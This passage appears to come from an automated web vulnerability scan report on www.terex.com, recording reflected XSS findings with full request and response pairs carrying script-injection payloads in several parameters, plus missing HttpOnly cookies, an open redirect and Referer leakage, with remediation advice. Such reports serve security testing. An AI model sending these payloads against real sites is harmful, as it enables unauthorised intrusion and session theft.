The value of the category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9149b"><script>alert(1)</script>fc7fc5d7692 was submitted in the category parameter. This input was echoed as 9149b\"><script>alert(1)</script>fc7fc5d7692 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealersearch/dealersearch4crm.php?c=US&state=DC&category=3855f3791ea7a34d479b3b58d0615f869149b"><script>alert(1)</script>fc7fc5d7692&Next=Search HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/dealersearch3.php?c=US&category=3855f3791ea7a34d479b3b58d0615f86
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.7.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:57:12 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 3097
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/html;
...[SNIP]...
<a href="index.php?category=3855f3791ea7a34d479b3b58d0615f869149b\"><script>alert(1)</script>fc7fc5d7692">
...[SNIP]...
|
1.12. http://www.terex.com/main.php [action parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The value of the action request parameter is copied into an HTML comment. The payload e5247--><script>alert(1)</script>284b50ba200 was submitted in the action parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /main.php?obj=prod&action=SPLASHe5247--><script>alert(1)</script>284b50ba200&nav=prod HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php?obj=prosp&action=SUBMIT&id=NEW
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.3.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:55:23 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 24539
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation - Products</title>
<!-- prod : : SPLASHe5247--><script>alert(1)</script>284b50ba200 -->
...[SNIP]...
|
1.13. http://www.terex.com/main.php [action parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The value of the action request parameter is copied into an HTML comment. The payload d5810--><script>alert(1)</script>3e29e17e90c41c73c was submitted in the action parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /main.php?obj=prosp&action=SUBMITd5810--><script>alert(1)</script>3e29e17e90c41c73c&id=NEW&src=HOME&email=user%40domain.com HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php
Cache-Control: max-age=0
Origin: http://www.terex.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.2.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:55:20 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 13232
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- prosp : NEW : SUBMITd5810--><script>alert(1)</script>3e29e17e90c41c73c -->
...[SNIP]...
|
1.14. http://www.terex.com/main.php [id parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The value of the id request parameter is copied into an HTML comment. The payload db39a--><script>alert(1)</script>8ffafba2606942666 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /main.php?obj=prosp&action=SUBMIT&id=NEWdb39a--><script>alert(1)</script>8ffafba2606942666&src=HOME&email=user%40domain.com HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php
Cache-Control: max-age=0
Origin: http://www.terex.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.2.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:56:10 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 12445
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- prosp : NEWdb39a--><script>alert(1)</script>8ffafba2606942666 : SUBMIT -->
...[SNIP]...
|
1.15. http://www.terex.com/main.php [id parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The value of the id request parameter is copied into an HTML comment. The payload 2b0d0--><script>alert(1)</script>1f97d3813a7 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /main.php?obj=content&action=VIEW&id=policies2b0d0--><script>alert(1)</script>1f97d3813a7&nav=content HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php?obj=support&action=SPLASH&nav=support&cancel_login
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=6oefj2t89pf8obe095iig1br30; style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.9.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:56:51 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 13979
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- content : policies2b0d0--><script>alert(1)</script>1f97d3813a7 : VIEW -->
...[SNIP]...
|
1.16. http://www.terex.com/main.php [name of an arbitrarily supplied request parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 46421--><script>alert(1)</script>7f5cd900d18 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /main.php?obj=content&action=SIT/46421--><script>alert(1)</script>7f5cd900d18EMAP HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php?obj=support&action=SPLASH&nav=support&cancel_login
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=6oefj2t89pf8obe095iig1br30; style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.9.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 17:02:24 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 17836
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- content : : SIT/46421--><script>alert(1)</script>7f5cd900d18EMAP -->
...[SNIP]...
|
1.17. http://www.terex.com/main.php [obj parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The value of the obj request parameter is copied into an HTML comment. The payload 9591b--><script>alert(1)</script>f19fda6897b was submitted in the obj parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /main.php?obj=prod9591b--><script>alert(1)</script>f19fda6897b&action=SPLASH&nav=prod HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php?obj=prosp&action=SUBMIT&id=NEW
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.3.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:54:28 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 12108
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- prod9591b--><script>alert(1)</script>f19fda6897b : : SPLASH -->
...[SNIP]...
|
1.18. http://www.terex.com/main.php [obj parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The value of the obj request parameter is copied into an HTML comment. The payload d64d7--><script>alert(1)</script>06f2027e57b2844cb was submitted in the obj parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /main.php?obj=prospd64d7--><script>alert(1)</script>06f2027e57b2844cb&action=SUBMIT&id=NEW&src=HOME&email=user%40domain.com HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php
Cache-Control: max-age=0
Origin: http://www.terex.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.2.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:54:27 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 12113
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- prospd64d7--><script>alert(1)</script>06f2027e57b2844cb : NEW : SUBMIT -->
...[SNIP]...
|
2. Cookie without HttpOnly flag set
previous
next
There are 3 instances of this issue:
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
2.1. http://www.terex.com/dealersearch/
previous
next
Summary
| Severity: |
Low |
| Confidence: |
Firm |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/ |
Issue detail
The following cookie was issued by the application and does not have the HttpOnly flag set:- PHPSESSID=0ib0bqlunbr6g5q6cocfsns924; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dealersearch/ HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php?obj=prod&action=SPLASH&nav=prod
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.4.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:53:46 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=0ib0bqlunbr6g5q6cocfsns924; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 13094
...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-eq
...[SNIP]...
|
2.2. http://www.terex.com/dealersearch/dealersearch4crm.php
previous
next
Summary
| Severity: |
Low |
| Confidence: |
Firm |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch4crm.php |
Issue detail
The following cookie was issued by the application and does not have the HttpOnly flag set:- PHPSESSID=16hjhb96j3nocbcgfcck7th2f7; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dealersearch/dealersearch4crm.php?c=US&state=DC&category=3855f3791ea7a34d479b3b58d0615f869149b"><script>alert(1)</script>fc7fc5d7692&Next=Search HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.terex.com
Cookie: texsess=bhjm6cag6h104l2ndkvit7ppg0; __utma=66540715.1357005326.1289322176.1289322176.1289322176.1; __utmb=66540715.1.10.1289322176; __utmc=66540715; __utmz=66540715.1289322176.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 17:07:45 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=16hjhb96j3nocbcgfcck7th2f7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 3097
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/html;
...[SNIP]...
|
2.3. http://www.terex.com/main.php
previous
next
Summary
| Severity: |
Low |
| Confidence: |
Firm |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The following cookie was issued by the application and does not have the HttpOnly flag set:- texsess=ao4fcen46p96sqb46u9k5v20g5; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /main.php HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:52:30 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Set-Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; path=/
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 26180
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- : : -->
<meta http-equiv=Content-Type c
...[SNIP]...
|
3. Open redirection
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/changeLanguage.php |
Issue detail
The value of the Referer HTTP header is used to perform an HTTP redirect. The payload //aa551ed1f0a6ed0f3/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d was submitted in the Referer HTTP header. This caused a redirection to the following URL:- //aa551ed1f0a6ed0f3/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d
The application attempts to prevent redirection attacks by blocking absolute redirection targets starting with http:// or https://. However, an attacker can defeat this defense by omitting the protocol prefix from their absolute URL. If a redirection target starting with // is specified, then the browser will use the same protocol as the page which issued the redirection.
Because the data used in the redirection is submitted within a header, the application's behaviour is unlikely to be directly useful in lending credibility to a phishing attack. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
When attempting to block absolute redirection targets, the application should verify that the target begins with a single slash followed by a letter, and should reject any input containing a sequence of two slash characters.
Issue background
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.
Remediation background
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:- Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
- Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:- The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
- The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
- The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.
Request
GET /dealersearch/changeLanguage.php HTTP/1.1
Host: www.terex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: style=normal; texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.9.10.1289321708;
Referer: //aa551ed1f0a6ed0f3/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d
|
Response
HTTP/1.1 302 Found
Date: Tue, 09 Nov 2010 16:58:58 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: //aa551ed1f0a6ed0f3/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8
|
4. Cross-domain Referer leakage
previous
next
There are 3 instances of this issue:
Issue background
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
4.1. http://www.terex.com/main.php
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The page was loaded from a URL containing a query string:- http://www.terex.com/main.php?obj=prod&action=SPLASH&nav=prod
The response contains the following links to other domains:- http://www.shopterex.com/
- http://www.terex-construction-shop.com/
Request
GET /main.php?obj=prod&action=SPLASH&nav=prod HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php?obj=prosp&action=SUBMIT&id=NEW
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.3.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:53:44 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 24495
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
